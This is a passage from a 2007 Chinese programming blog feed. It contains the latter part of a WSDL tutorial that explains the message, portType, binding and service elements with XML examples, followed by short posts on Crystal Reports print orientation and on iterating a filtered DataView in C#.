<p>message元素描述了Web服务使用消息的有效负载。message元素可以描述输出或者接受消息的有效负载；还可以描述<a target="_blank" href="http://gocom.primeton.com/modules/gSpace/about_onetag.php?tagid=102&amp;tagname=SOA&amp;PHPSESSID=8ec13fb797e6d9cd04af6b0570f147d1">SOA</a>P文件头和错误detail元素的内容。定义message元素的方式取决于使用RPC样式还是文档样式的消息传递。在本文中的message元素的定义，本文档使用了采用文档样式的消息传递：</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:message&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:part&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="parameters"</span><span style="color: #ff0000;">&nbsp;element</span><span style="color: #0000ff;">="tns:sayHelloResponse"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:message</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:message&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloRequest"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:part&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="parameters"</span><span style="color: #ff0000;">&nbsp;element</span><span style="color: #0000ff;">="tns:sayHello"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:message</span><span style="color: #0000ff;">&gt;</span></div>
</div>
<p>该部分是消息格式的抽象定义：定义了两个消息sayHelloResponse和sayHelloRequest：</p>
<p>sayHelloRequest：sayHello操作的请求消息格式，由一个消息片断组成，名字为parameters,元素是我们前面定义的types中的元素；</p>
<p>sayHelloResponse：sayHello操作的响应消息格式，由一个消息片断组成，名字为parameters,元素是我们前面定义的types中的元素；</p>
<p>&nbsp;如果采用RPC样式的消息传递，只需要将文档中的element元素应以修改为type即可。</p>
<p>5、portType元素</p>
<p>portType元素定义了Web服务的抽象接口。该接口有点类似Java的接口，都是定义了一个抽象类型和方法，没有定义实现。在WSDL中，
portType元素是由binding和service元素来实现的，这两个元素用来说明Web服务实现使用的Internet协议、编码方案以及
Internet地址。</p>
<p>一个portType中可以定义多个operation，一个operation可以看作是一个方法，本文中WSDL文档的定义：</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" /><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:portType&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloServicePortType"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:operation&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHello"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:input&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloRequest"</span><span style="color: #ff0000;"><br />
<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message</span><span style="color: #0000ff;">="tns:sayHelloRequest"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:output&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #ff0000;"><br />
<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message</span><span style="color: #0000ff;">="tns:sayHelloResponse"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:operation</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:portType</span><span style="color: #0000ff;">&gt;</span></div>
</div>
<p>portType定义了服务的调用模式的类型，这里包含一个操作sayHello方法，同时包含input和output表明该操作是一个请求／响
应模式，请求消息是前面定义的sayHelloRequest，响应消息是前面定义的sayHelloResponse。input表示传递到Web服务
的有效负载，output消息表示传递给客户的有效负载。</p>
<p>６、binding</p>
<p>binding元素将一个抽象portType映射到一组具体协议(<a target="_blank" href="http://gocom.primeton.com/modules/gSpace/about_onetag.php?tagid=102&amp;tagname=SOA&amp;PHPSESSID=8ec13fb797e6d9cd04af6b0570f147d1">SOA</a>O和HTTP)、消息传递样式、编码样式。通常binding元素与协议专有的元素和在一起使用，本文中的例子：</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:binding&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloServiceHttpBinding"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type</span><span style="color: #0000ff;">="tns:HelloServicePortType"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:binding&nbsp;</span><span style="color: #ff0000;">style</span><span style="color: #0000ff;">="document"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;transport</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/soap/http%22" target="_blank">http://schemas.xmlsoap.org/soap/http"</a></span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:operation&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHello"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:operation&nbsp;</span><span style="color: #ff0000;">soapAction</span><span style="color: #0000ff;">=""</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:input&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloRequest"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:body&nbsp;</span><span style="color: #ff0000;">use</span><span style="color: #0000ff;">="literal"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:input</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:output&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:body&nbsp;</span><span style="color: #ff0000;">use</span><span style="color: #0000ff;">="literal"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:output</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:operation</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:binding</span><span style="color: #0000ff;">&gt;</span></div>
</div>
<p>这部分将服务访问点的抽象定义与<a target="_blank" href="http://gocom.primeton.com/modules/gSpace/about_onetag.php?tagid=102&amp;tagname=SOA&amp;PHPSESSID=8ec13fb797e6d9cd04af6b0570f147d1">SOA</a>P HTTP绑定，描述如何通过<a target="_blank" href="http://gocom.primeton.com/modules/gSpace/about_onetag.php?tagid=102&amp;tagname=SOA&amp;PHPSESSID=8ec13fb797e6d9cd04af6b0570f147d1">SOA</a>P/HTTP来访问按照前面描述的访问入口点类型部署的访问入口。其中规定了在具体<a target="_blank" href="http://gocom.primeton.com/modules/gSpace/about_onetag.php?tagid=102&amp;tagname=SOA&amp;PHPSESSID=8ec13fb797e6d9cd04af6b0570f147d1">SOA</a>P调用时，应当使用的soapAction是""。</p>
<p>具体的使用需要参考特定协议定义的元素。</p>
<p>７、service元素和port元素</p>
<p>service元素包含一个或者多个port元素，其中每个port元素表示一个不同的Web服务。port元素将URL赋给一个特定的binding，甚至可以使两个或者多个port元素将不同的URL赋值给相同的binding。文档中的例子：</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:service&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloService"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:port&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloServiceHttpPort"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;binding</span><span style="color: #0000ff;">="tns:HelloServiceHttpBinding"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:address<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #ff0000;">location</span><span style="color: #0000ff;">="<a href="http://localhost:8080/xfire/services/HelloService%22" target="_blank">http://localhost:8080/xfire/services/HelloService"</a></span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:port</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:service</span><span style="color: #0000ff;">&gt;</span></div>
</div>
<p>这部分是具体的Web服务的定义，在这个名为HelloService的Web服务中，提供了一个服务访问入口，访问地址是<a href="http://localhost:8080/xfire/services/HelloService" target="_blank">http://localhost:8080/xfire/services/HelloService</a>，使用的消息模式是由前面的binding所定义的。</p>
<p>　　本文简单介绍了WSDL规范的用途，基本结构和使用方法，希望对大家学习WSDL有帮助。</p>
<img src ="http://www.blogjava.net/zqli/aggbug/170967.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2007-12-27 18:34 <a href="http://www.blogjava.net/zqli/archive/2007/12/27/170967.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于水晶报表设置横向或纵向打印的问题？</title><link>http://www.blogjava.net/zqli/archive/2007/10/26/156155.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 26 Oct 2007 07:10:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2007/10/26/156155.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/156155.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2007/10/26/156155.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/156155.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/156155.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 水晶报表10：在设计完rpt报表文件以后（设置了打印方向），直接调用PrintToPrinter(*,*,*,*)方法，要求<br />
<br />
先保存为.pdf文件，并不能很好的实现直接打印。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其次，如果将rpt文件赋给一个CrystalReportView后，当直接点击打印按钮时，弹出的打印对话框默认打印<br />
<br />
rpt设计时的纸张打印方向。而如果通过调用CrystalReportView.PrintReport()方法，弹出的打印对话框默认打印<br />
<br />
却是本机默认打印机的默认纸张打印方向。据称，PrintReport()方法首先就是读取打印机默认的设置先。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 因此，想不浏览报表数据，直接调用打印，又要按自己的横向或纵向打印这个问题，似乎很难利用报表<br />
<br />
本身的库来解决。难道，只能通过先用代码，修改打印机的纸张打印方向，然后再调用PrintReport()方法?真<br />
<br />
的没有更好的解决办法？<br />
<img src ="http://www.blogjava.net/zqli/aggbug/156155.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2007-10-26 15:10 <a href="http://www.blogjava.net/zqli/archive/2007/10/26/156155.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DataView取RowFilter过滤之后的记录</title><link>http://www.blogjava.net/zqli/archive/2007/10/26/156153.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 26 Oct 2007 07:00:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2007/10/26/156153.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/156153.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2007/10/26/156153.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/156153.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/156153.html</trackback:ping><description><![CDATA[<br />
<p>删除用RowFilter筛选之后的记录集，用While循环是可以做到的，而用For循环却不行。<br />
<br />
While(dataView.count&gt;0)<br />
{<br />
&nbsp; dataView.Delete(this.dataView.Count-1)<br />
//....<br />
}<br />
因此，除了通过数据绑定到DataGridView,DataGrid外，可以通过循环来取经过RowFilter筛选后的记录集：<br />
方法有很多，如：</p>
<p>&nbsp;foreach (DataRowView row in dataView)<br />
{<br />
&nbsp;&nbsp; MessageBox.Showrow.Row[4].ToString());<br />
}</p>
<img src ="http://www.blogjava.net/zqli/aggbug/156153.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2007-10-26 15:00 <a href="http://www.blogjava.net/zqli/archive/2007/10/26/156153.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>